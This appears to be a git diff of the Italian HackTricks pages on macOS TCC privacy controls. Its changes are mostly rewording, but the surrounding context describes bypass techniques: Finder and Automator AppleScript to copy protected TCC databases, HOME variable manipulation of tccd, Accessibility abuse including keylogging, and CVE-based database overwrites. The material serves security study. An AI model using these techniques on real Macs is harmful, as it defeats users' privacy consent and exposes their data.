{% endcode %}
|
||||
|
||||
O consentire loro di eseguire **azioni arbitrarie**.
|
||||
O permettendo loro di eseguire **azioni arbitrarie**.
|
||||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
|
@ -122,13 +122,13 @@ Permette, tra le altre autorizzazioni, di **scrivere nel database TCC degli uten
|
|||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
Permette di **modificare** l'attributo **`NFSHomeDirectory`** di un utente che cambia il percorso della sua cartella home e quindi consente di **bypassare TCC**.
|
||||
Permette di **cambiare** l'attributo **`NFSHomeDirectory`** di un utente che cambia il percorso della sua cartella home e quindi consente di **bypassare TCC**.
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
Consente di modificare i file all'interno dei bundle delle app (all'interno di app.app), il che è **disabilitato per impostazione predefinita**.
|
||||
Permette di modificare i file all'interno dei bundle delle app (all'interno di app.app), il che è **disabilitato per impostazione predefinita**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
È possibile verificare chi ha questo accesso in _Impostazioni di Sistema_ > _Privacy e Sicurezza_ > _Gestione App._
|
||||
|
||||
|
@ -187,8 +187,8 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,7 +8,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
@ -24,7 +24,7 @@ Gli utenti si trovano di fronte a TCC quando le applicazioni richiedono l'access
|
|||
|
||||
**TCC** è gestito dal **daemon** situato in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` e configurato in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registrando il servizio mach `com.apple.tccd.system`).
|
||||
|
||||
Vi è un **tccd in modalità utente** in esecuzione per ogni utente loggato definito in `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando i servizi mach `com.apple.tccd` e `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
C'è un **tccd in modalità utente** in esecuzione per ogni utente loggato definito in `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando i servizi mach `com.apple.tccd` e `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
|
||||
Qui puoi vedere il tccd in esecuzione come sistema e come utente:
|
||||
```bash
|
||||
|
@ -38,21 +38,21 @@ Le autorizzazioni sono **ereditate dall'applicazione genitore** e le **autorizza
|
|||
|
||||
Le autorizzazioni/negazioni vengono quindi memorizzate in alcuni database TCC:
|
||||
|
||||
* Il database a livello di sistema in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
* Questo database è **protetto da SIP**, quindi solo un bypass di SIP può scriverci.
|
||||
* Il database utente TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** per le preferenze per utente.
|
||||
* Questo database è protetto, quindi solo i processi con privilegi TCC elevati come l'Accesso Completo al Disco possono scriverci (ma non è protetto da SIP).
|
||||
- Il database a livello di sistema in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- Questo database è **protetto da SIP**, quindi solo un bypass di SIP può scriverci.
|
||||
- Il database utente TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** per le preferenze per utente.
|
||||
- Questo database è protetto, quindi solo i processi con privilegi TCC elevati come l'Accesso Completo al Disco possono scriverci (ma non è protetto da SIP).
|
||||
|
||||
{% hint style="warning" %}
|
||||
I database precedenti sono anche **protetti da TCC per l'accesso in lettura**. Quindi **non sarai in grado di leggere** il tuo database TCC utente regolare a meno che non sia da un processo con privilegi TCC.
|
||||
|
||||
Tuttavia, ricorda che un processo con questi alti privilegi (come **FDA** o **`kTCCServiceEndpointSecurityClient`**) sarà in grado di scrivere nel database TCC degli utenti.
|
||||
Tuttavia, ricorda che un processo con questi privilegi elevati (come **FDA** o **`kTCCServiceEndpointSecurityClient`**) sarà in grado di scrivere nel database TCC degli utenti.
|
||||
{% endhint %}
|
||||
|
||||
* C'è un **terzo** database TCC in **`/var/db/locationd/clients.plist`** per indicare i clienti autorizzati ad **accedere ai servizi di localizzazione**.
|
||||
* Il file protetto da SIP **`/Users/carlospolop/Downloads/REG.db`** (anche protetto dall'accesso in lettura con TCC), contiene la **posizione** di tutti i **database TCC validi**.
|
||||
* Il file protetto da SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (anche protetto dall'accesso in lettura con TCC), contiene più autorizzazioni concesse da TCC.
|
||||
* Il file protetto da SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (ma leggibile da chiunque) è un elenco di applicazioni che richiedono un'eccezione TCC.
|
||||
- C'è un **terzo** database TCC in **`/var/db/locationd/clients.plist`** per indicare i clienti autorizzati ad **accedere ai servizi di localizzazione**.
|
||||
- Il file protetto da SIP **`/Users/carlospolop/Downloads/REG.db`** (anche protetto dall'accesso in lettura con TCC), contiene la **posizione** di tutti i **database TCC validi**.
|
||||
- Il file protetto da SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (anche protetto dall'accesso in lettura con TCC), contiene più autorizzazioni concesse da TCC.
|
||||
- Il file protetto da SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (ma leggibile da chiunque) è un elenco di applicazioni che richiedono un'eccezione TCC.
|
||||
|
||||
{% hint style="success" %}
|
||||
Il database TCC in **iOS** si trova in **`/private/var/mobile/Library/TCC/TCC.db`**
|
||||
|
@ -97,7 +97,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="database di sistema" %}
|
||||
{% tab title="sistema DB" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
|
||||
|
@ -123,12 +123,12 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Controllando entrambi i database è possibile verificare i permessi che un'app ha consentito, ha vietato o non ha (chiederà di concederli).
|
||||
Controllando entrambi i database è possibile verificare i permessi che un'app ha consentito, ha vietato o non ha (chiederà di concederlo).
|
||||
{% endhint %}
|
||||
|
||||
* Il **`servizio`** è la rappresentazione in stringa del permesso TCC
|
||||
* Il **`servizio`** è la rappresentazione in stringa del **permesso** TCC
|
||||
* Il **`client`** è il **bundle ID** o il **percorso del binario** con i permessi
|
||||
* Il **`client_type`** indica se si tratta di un identificatore bundle (0) o di un percorso assoluto (1)
|
||||
* Il **`client_type`** indica se si tratta di un identificatore bundle(0) o di un percorso assoluto(1)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -226,17 +226,17 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Pertanto, altre applicazioni che utilizzano lo stesso nome e ID pacchetto non saranno in grado di accedere alle autorizzazioni concesse ad altre app.
|
||||
Pertanto, altre applicazioni che utilizzano lo stesso nome e ID bundle non saranno in grado di accedere alle autorizzazioni concesse ad altre app.
|
||||
{% endhint %}
|
||||
|
||||
### Autorizzazioni e Permessi TCC
|
||||
|
||||
Le app **non solo devono** richiedere e ottenere l'accesso a determinate risorse, ma devono anche **avere le autorizzazioni pertinenti**.\
|
||||
Ad esempio, **Telegram** ha l'autorizzazione `com.apple.security.device.camera` per richiedere **l'accesso alla fotocamera**. Un'applicazione che **non ha** questa **autorizzazione non potrà** accedere alla fotocamera (e all'utente non verrà nemmeno chiesto il permesso).
|
||||
Le app **non solo devono** richiedere e ottenere **accesso** a determinate risorse, ma devono anche **avere le autorizzazioni pertinenti**.\
|
||||
Ad esempio, **Telegram** ha l'autorizzazione `com.apple.security.device.camera` per richiedere **accesso alla fotocamera**. Un'applicazione che **non** ha questa **autorizzazione non potrà** accedere alla fotocamera (e all'utente non verrà nemmeno chiesto il permesso).
|
||||
|
||||
Tuttavia, affinché le app possano **accedere** a **determinate cartelle dell'utente**, come `~/Desktop`, `~/Downloads` e `~/Documents`, non è necessario avere autorizzazioni specifiche. Il sistema gestirà l'accesso in modo trasparente e **chiederà all'utente** quando necessario.
|
||||
Tuttavia, per le app che devono **accedere** a **determinate cartelle dell'utente**, come `~/Desktop`, `~/Downloads` e `~/Documents`, non è necessario avere autorizzazioni **specifiche.** Il sistema gestirà l'accesso in modo trasparente e **chiederà all'utente** quando necessario.
|
||||
|
||||
Le app di Apple **non genereranno prompt**. Contengono **diritti preconcessi** nel loro **elenco di autorizzazioni**, il che significa che **non genereranno mai un popup**, **né** compariranno in nessuno dei **database TCC**. Ad esempio:
|
||||
Le app di Apple **non genereranno prompt**. Contengono **diritti preconcessi** nel loro elenco di **autorizzazioni**, il che significa che **non genereranno mai un popup**, **né** compariranno in nessuno dei **database TCC.** Ad esempio:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -250,7 +250,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
Questo eviterà a Calendar di chiedere all'utente di accedere ai promemoria, al calendario e alla rubrica.
|
||||
|
||||
{% hint style="success" %}
|
||||
Oltre a alcune documentazioni ufficiali sugli entitlements, è anche possibile trovare **informazioni interessanti sugli entitlements** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
Oltre a alcune documentazioni ufficiali sugli entitlement, è anche possibile trovare **informazioni interessanti sugli entitlement** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
{% endhint %}
|
||||
|
||||
Alcuni permessi TCC sono: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Non esiste un elenco pubblico che definisca tutti loro, ma puoi controllare questa [**lista di quelli conosciuti**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
|
||||
|
@ -263,7 +263,7 @@ Alcuni permessi TCC sono: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServi
|
|||
|
||||
### Intento dell'utente / com.apple.macl
|
||||
|
||||
Come già menzionato, è possibile **concedere l'accesso a un'app a un file trascinandolo e rilasciandolo su di essa**. Questo accesso non sarà specificato in alcun database TCC ma come un **attributo esteso del file**. Questo attributo **memorizzerà l'UUID** dell'app consentita:
|
||||
Come già menzionato, è possibile **concedere l'accesso a un'app a un file trascinandolo su di essa**. Questo accesso non sarà specificato in alcun database TCC ma come un **attributo esteso del file**. Questo attributo **memorizzerà l'UUID** dell'app consentita:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -281,7 +281,7 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
|||
{% hint style="info" %}
|
||||
È curioso che l'attributo **`com.apple.macl`** sia gestito dal **Sandbox**, non da tccd.
|
||||
|
||||
Nota anche che se sposti un file che consente all'UUID di un'app sul tuo computer su un computer diverso, poiché la stessa app avrà UID diversi, non concederà accesso a quell'app.
|
||||
Nota anche che se sposti un file che consente l'UUID di un'app sul tuo computer a un computer diverso, poiché la stessa app avrà UID diversi, non concederà accesso a quell'app.
|
||||
{% endhint %}
|
||||
|
||||
L'attributo esteso `com.apple.macl` **non può essere cancellato** come gli altri attributi estesi perché è **protetto da SIP**. Tuttavia, come [**spiegato in questo post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), è possibile disabilitarlo **comprimendo** il file, **eliminandolo** e **decomprimendolo**.
|
||||
|
@ -349,7 +349,7 @@ Se sei riuscito ad entrare in un'app con alcuni controlli di permessi TCC, contr
|
|||
Il nome TCC del permesso di Automazione è: **`kTCCServiceAppleEvents`**\
|
||||
Questo specifico permesso TCC indica anche l'**applicazione che può essere gestita** all'interno del database TCC (quindi i permessi non consentono di gestire tutto).
|
||||
|
||||
**Finder** è un'applicazione che **ha sempre FDA** (anche se non compare nell'interfaccia utente), quindi se hai privilegi di **Automazione** su di esso, puoi abusare dei suoi privilegi per **farlo eseguire alcune azioni**.\
|
||||
**Finder** è un'applicazione che **ha sempre FDA** (anche se non compare nell'interfaccia utente), quindi se hai privilegi di **Automazione** su di essa, puoi abusare dei suoi privilegi per **farla eseguire alcune azioni**.\
|
||||
In questo caso, la tua app avrebbe bisogno del permesso **`kTCCServiceAppleEvents`** su **`com.apple.Finder`**.
|
||||
|
||||
{% tabs %}
|
||||
|
@ -367,7 +367,7 @@ EOD
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Rubare TCC.db di sistema" %}
|
||||
{% tab title="Rubare il database TCC dei sistemi" %}
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
tell application "Finder"
|
||||
|
@ -380,20 +380,20 @@ EOD
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Questo può essere abusato per **creare il proprio database utente TCC**.
|
||||
Potresti abusare di questo per **creare il tuo database utente TCC**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Con questo permesso sarai in grado di **chiedere a Finder di accedere alle cartelle restritte da TCC** e darti i file, ma a quanto ne so non sarai in grado di fare in modo che Finder esegua codice arbitrario per abusare appieno del suo accesso FDA.
|
||||
Con questo permesso sarai in grado di **chiedere a Finder di accedere alle cartelle restritte da TCC** e darti i file, ma a quanto ne so **non sarai in grado di fare in modo che Finder esegua codice arbitrario** per abusare appieno del suo accesso FDA.
|
||||
|
||||
Pertanto, non sarai in grado di abusare delle piena abilità di FDA.
|
||||
Pertanto, non sarai in grado di abusare delle abilità complete di FDA.
|
||||
{% endhint %}
|
||||
|
||||
Questa è la richiesta TCC per ottenere i privilegi di Automazione su Finder:
|
||||
Questa è la finestra di dialogo TCC per ottenere i privilegi di Automazione su Finder:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nota che poiché l'applicazione **Automator** ha il permesso TCC **`kTCCServiceAppleEvents`**, può **controllare qualsiasi app**, come Finder. Quindi, avendo il permesso di controllare Automator, potresti controllare anche il **Finder** con un codice come quello qui sotto:
|
||||
Nota che poiché l'applicazione **Automator** ha il permesso TCC **`kTCCServiceAppleEvents`**, può **controllare qualsiasi app**, come Finder. Quindi, avendo il permesso di controllare Automator, potresti controllare anche il **Finder** con un codice come quello di seguito:
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
@ -468,7 +468,7 @@ rm "$HOME/Desktop/file"
|
|||
```
|
||||
### Automazione (SE) + Accessibilità (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** per FDA\*
|
||||
|
||||
L'automazione su **`System Events`** + l'accessibilità (**`kTCCServicePostEvent`**) consentono di inviare **tasti premuti ai processi**. In questo modo è possibile abusare di Finder per modificare il database TCC dell'utente o per concedere l'accesso completo ai dati a un'applicazione arbitraria (anche se potrebbe essere richiesta la password per questo).
|
||||
L'automazione su **`System Events`** + l'accessibilità (**`kTCCServicePostEvent`**) consentono di inviare **tasti premuti ai processi**. In questo modo potresti abusare di Finder per modificare il database TCC dell'utente o per concedere l'accesso completo ai dati a un'applicazione arbitraria (anche se potrebbe essere richiesta la password per questo).
|
||||
|
||||
Esempio di sovrascrittura di TCC.db degli utenti da parte di Finder:
|
||||
```applescript
|
||||
|
@ -518,27 +518,27 @@ EOF
|
|||
```
|
||||
### `kTCCServiceAccessibility` a FDA\*
|
||||
|
||||
Controlla questa pagina per alcuni [**payloads per abusare dei permessi di Accessibility**](macos-tcc-payloads.md#accessibility) per ottenere privilegi di FDA\* o eseguire un keylogger, ad esempio.
|
||||
Controlla questa pagina per alcuni [**payloads per abusare dei permessi di Accessibility**](macos-tcc-payloads.md#accessibility) per ottenere privilegi elevati a FDA\* o eseguire un keylogger, ad esempio.
|
||||
|
||||
### **Client di Sicurezza dell'Endpoint a FDA**
|
||||
|
||||
Se hai **`kTCCServiceEndpointSecurityClient`**, hai FDA. Fine.
|
||||
|
||||
### Policy di Sistema SysAdmin File a FDA
|
||||
### Policy di Sistema File SysAdmin a FDA
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** permette di **cambiare** l'attributo **`NFSHomeDirectory`** di un utente che cambia la sua cartella home e quindi permette di **bypassare TCC**.
|
||||
|
||||
### User TCC DB a FDA
|
||||
|
||||
Ottenendo **permessi di scrittura** sul **database TCC** dell'utente non puoi concederti i permessi **`FDA`**, solo quelli che risiedono nel database di sistema possono concederli.
|
||||
Ottenendo **permessi di scrittura** sul **database TCC dell'utente** non puoi concederti i permessi **`FDA`**, solo quello che risiede nel database di sistema può concederli.
|
||||
|
||||
Ma puoi concederti **diritti di Automazione a Finder**, e abusare della tecnica precedente per scalare a FDA\*.
|
||||
Ma puoi **concederti i diritti di Automazione a Finder**, e abusare della tecnica precedente per ottenere l'escalation a FDA\*.
|
||||
|
||||
### **FDA a permessi TCC**
|
||||
|
||||
L'Accesso Completo al Disco nel nome TCC è **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Non penso che sia un vero privilegio, ma nel caso in cui possa esserti utile: se controlli un programma con FDA puoi **modificare il database TCC degli utenti e concederti qualsiasi accesso**. Questo può essere utile come tecnica di persistenza nel caso in cui potresti perdere i tuoi permessi FDA.
|
||||
Non penso che questo sia un vero privilegio elevato, ma nel caso in cui lo trovi utile: se controlli un programma con FDA puoi **modificare il database TCC degli utenti e concederti qualsiasi accesso**. Questo può essere utile come tecnica di persistenza nel caso in cui potresti perdere i tuoi permessi FDA.
|
||||
|
||||
### **SIP Bypass a TCC Bypass**
|
||||
|
||||
|
@ -555,6 +555,8 @@ Per esempio per aggiungere il terminale:
|
|||
# Get needed info
|
||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||
```
|
||||
AllowApplicationsList.plist:
|
||||
|
||||
AllowApplicationsList.plist:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -593,14 +595,14 @@ AllowApplicationsList.plist:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -18,7 +18,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
### Bypass di Scrittura
|
||||
|
||||
Questo non è un bypass, è solo come funziona TCC: **Non protegge dalla scrittura**. Se il Terminale **non ha accesso per leggere il Desktop di un utente, può comunque scriverci dentro**:
|
||||
Questo non è un bypass, è semplicemente come funziona TCC: **Non protegge dalla scrittura**. Se il Terminale **non ha accesso alla lettura del Desktop di un utente, può comunque scriverci dentro**:
|
||||
```shell-session
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
|
@ -28,7 +28,7 @@ ls: Desktop: Operation not permitted
|
|||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
L'**attributo esteso `com.apple.macl`** viene aggiunto al nuovo **file** per dare accesso all'app **creatrice** per leggerlo.
|
||||
L'**attributo esteso `com.apple.macl`** viene aggiunto al nuovo **file** per dare accesso all'applicazione dei **creatori** per leggerlo.
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
|
@ -38,8 +38,8 @@ L'**attributo esteso `com.apple.macl`** viene aggiunto al nuovo **file** per dar
|
|||
|
||||
### Richiesta TCC con nome arbitrario
|
||||
|
||||
L'attaccante può **creare app con qualsiasi nome** (ad esempio Finder, Google Chrome...) nel **`Info.plist`** e farla richiedere l'accesso a una posizione TCC protetta. L'utente penserà che l'app legittima sia quella che richiede questo accesso.\
|
||||
Inoltre, è possibile **rimuovere l'app legittima dal Dock e sostituirla con quella falsa**, quindi quando l'utente fa clic su quella falsa (che può utilizzare la stessa icona) potrebbe chiamare quella legittima, chiedere i permessi TCC ed eseguire un malware, facendo credere all'utente che l'app legittima abbia richiesto l'accesso.
|
||||
L'attaccante può **creare app con qualsiasi nome** (ad esempio Finder, Google Chrome...) nel **`Info.plist`** e farla richiedere l'accesso a una posizione protetta da TCC. L'utente penserà che l'applicazione legittima sia quella che richiede questo accesso.\
|
||||
Inoltre, è possibile **rimuovere l'app legittima dal Dock e sostituirla con quella falsa**, quindi quando l'utente clicca su quella falsa (che può utilizzare la stessa icona) potrebbe chiamare quella legittima, chiedere i permessi TCC ed eseguire un malware, facendo credere all'utente che l'app legittima abbia richiesto l'accesso.
|
||||
|
||||
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -67,7 +67,7 @@ Nota che ora, per poter abilitare SSH, è necessario avere **Accesso completo al
|
|||
|
||||
L'attributo **`com.apple.macl`** viene dato ai file per dare a un'applicazione **specifici permessi per leggerlo**. Questo attributo viene impostato quando si **trascina** un file su un'app o quando un utente **fa doppio clic** su un file per aprirlo con l'applicazione **predefinita**.
|
||||
|
||||
Pertanto, un utente potrebbe **registrare un'applicazione malevola** per gestire tutte le estensioni e chiamare i Launch Services per **aprire** qualsiasi file (così il file malevolo otterrà l'accesso per leggerlo).
|
||||
Pertanto, un utente potrebbe **registrare un'applicazione dannosa** per gestire tutte le estensioni e chiamare i Launch Services per **aprire** qualsiasi file (così il file dannoso otterrà l'accesso per leggerlo).
|
||||
|
||||
### iCloud
|
||||
|
||||
|
@ -79,9 +79,9 @@ Per ulteriori **informazioni** sull'exploit per **ottenere i token iCloud** da q
|
|||
|
||||
### kTCCServiceAppleEvents / Automazione
|
||||
|
||||
Un'app con il permesso **`kTCCServiceAppleEvents`** sarà in grado di **controllare altre app**. Ciò significa che potrebbe essere in grado di **abusare dei permessi concessi alle altre app**.
|
||||
Un'applicazione con il permesso **`kTCCServiceAppleEvents`** sarà in grado di **controllare altre App**. Ciò significa che potrebbe essere in grado di **abusare dei permessi concessi alle altre App**.
|
||||
|
||||
Per ulteriori informazioni sugli Apple Script, controlla:
|
||||
Per ulteriori informazioni sugli Apple Scripts, controlla:
|
||||
|
||||
{% content-ref url="macos-apple-scripts.md" %}
|
||||
[macos-apple-scripts.md](macos-apple-scripts.md)
|
||||
|
@ -130,7 +130,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
|||
Il demone **tccd** nello spazio utente utilizza la variabile **`HOME`** dell'ambiente per accedere al database degli utenti TCC da: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
Secondo [questo post di Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) e poiché il demone TCC viene eseguito tramite `launchd` all'interno del dominio dell'utente corrente, è possibile **controllare tutte le variabili d'ambiente** passate ad esso.\
|
||||
Pertanto, un **attaccante potrebbe impostare la variabile d'ambiente `$HOME`** in **`launchctl`** per puntare a una **directory controllata**, **riavviare** il demone **TCC**, e quindi **modificare direttamente il database TCC** per ottenere **tutti i privilegi TCC disponibili** senza mai chiedere il permesso all'utente finale.\
|
||||
Pertanto, un **attaccante potrebbe impostare la variabile d'ambiente `$HOME`** in **`launchctl`** per puntare a una **directory controllata**, **riavviare** il demone **TCC**, e quindi **modificare direttamente il database TCC** per concedersi **tutti i privilegi TCC disponibili** senza mai chiedere il consenso all'utente finale.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
|
@ -166,7 +166,7 @@ Le note avevano accesso alle posizioni protette da TCC ma quando una nota viene
|
|||
|
||||
### CVE-2021-30782 - Translocazione
|
||||
|
||||
Il binario `/usr/libexec/lsd` con la libreria `libsecurity_translocate` aveva l'entitlement `com.apple.private.nullfs_allow` che gli permetteva di creare un mount **nullfs** e aveva l'entitlement `com.apple.private.tcc.allow` con **`kTCCServiceSystemPolicyAllFiles`** per accedere a ogni file.
|
||||
Il binario `/usr/libexec/lsd` con la libreria `libsecurity_translocate` aveva il diritto `com.apple.private.nullfs_allow` che gli permetteva di creare un mount **nullfs** e aveva il diritto `com.apple.private.tcc.allow` con **`kTCCServiceSystemPolicyAllFiles`** per accedere a ogni file.
|
||||
|
||||
Era possibile aggiungere l'attributo di quarantena a "Library", chiamare il servizio XPC **`com.apple.security.translocation`** e poi mappare Library a **`$TMPDIR/AppTranslocation/d/d/Library`** dove tutti i documenti all'interno di Library potevano essere **acceduti**.
|
||||
|
||||
|
@ -181,7 +181,7 @@ Questo comportamento di **`rename(a, b);`** è vulnerabile a una **Race Conditio
|
|||
|
||||
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
|
||||
|
||||
Se **`SQLITE_SQLLOG_DIR="percorso/cartella"`** significa essenzialmente che **qualsiasi db aperto viene copiato in quel percorso**. In questo CVE questo controllo è stato abusato per **scrivere** all'interno di un **database SQLite** che verrà **aperto da un processo con FDA il database TCC**, e poi abusare **`SQLITE_SQLLOG_DIR`** con un **symlink nel nome del file** in modo che quando quel database viene **aperto**, il database utente **TCC.db viene sovrascritto** con quello aperto.\
|
||||
